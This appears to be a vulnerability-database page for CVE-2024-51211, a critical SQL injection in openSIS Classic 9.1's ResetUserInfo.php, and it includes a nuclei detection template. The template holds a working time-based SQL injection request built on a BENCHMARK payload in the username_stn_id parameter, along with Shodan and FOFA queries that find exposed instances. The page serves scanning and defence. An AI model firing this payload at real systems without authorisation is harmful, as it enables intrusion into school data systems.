HexBrain

Browse / CVEs / CVE-2024-51211

CVE-2024-51211· CWE-89

openSIS Classic v9.1 - SQL Injection

criticalseverity
9.8CVSS score
2.3%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it

SQL injection vulnerability exists in OS4ED openSIS-Classic Version 9.1, specifically in the resetuserinfo.php file. The vulnerability is due to improper input validation of the $username_stn_id parameter, which can be manipulated by an attacker to inject arbitrary SQL commands.

Impact

Attackers can exploit this vulnerability to compromise system security and integrity.

Fix

Apply the latest security patches and updates to address this vulnerability.

How to confirm it

Send: @timeout: 30s
Positive when: duration>=7 and contains_all(tolower(body), 'forgotpass.php', 'opensis') and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-51211 -u <target>

The full check
id: CVE-2024-51211

info:
  name: openSIS Classic v9.1 - SQL Injection
  author: Haliteroglu
  severity: critical
  description: |
    SQL injection vulnerability exists in OS4ED openSIS-Classic Version 9.1, specifically in the resetuserinfo.php file. The vulnerability is due to improper input validation of the $username_stn_id parameter, which can be manipulated by an attacker to inject arbitrary SQL commands.
  impact: |
    Attackers can exploit this vulnerability to compromise system security and integrity.
  remediation: |
    Apply the latest security patches and updates to address this vulnerability.
  reference:
    - https://github.com/kutsa1/My-CVE/tree/main/CVE-2024-51211
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51211
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-51211
    cwe-id: CWE-89
    epss-score: 0.02256
    epss-percentile: 0.83091
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="openSIS"
    shodan-query: title:"openSIS"
  tags: cve,cve2024,sqli,opensis,time-based-sqli,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        GET /ResetUserInfo.php?user_type_form=username&uname_user_type=uname_student&username_stn_id=21+OR+3720%3dBENCHMARK(7000000,MD5(0x6e48446e))&pass=1&month_username_dob=x&day_username_dob=x&year_username_dob=x HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=7"
          - "contains_all(tolower(body), 'forgotpass.php', 'opensis')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from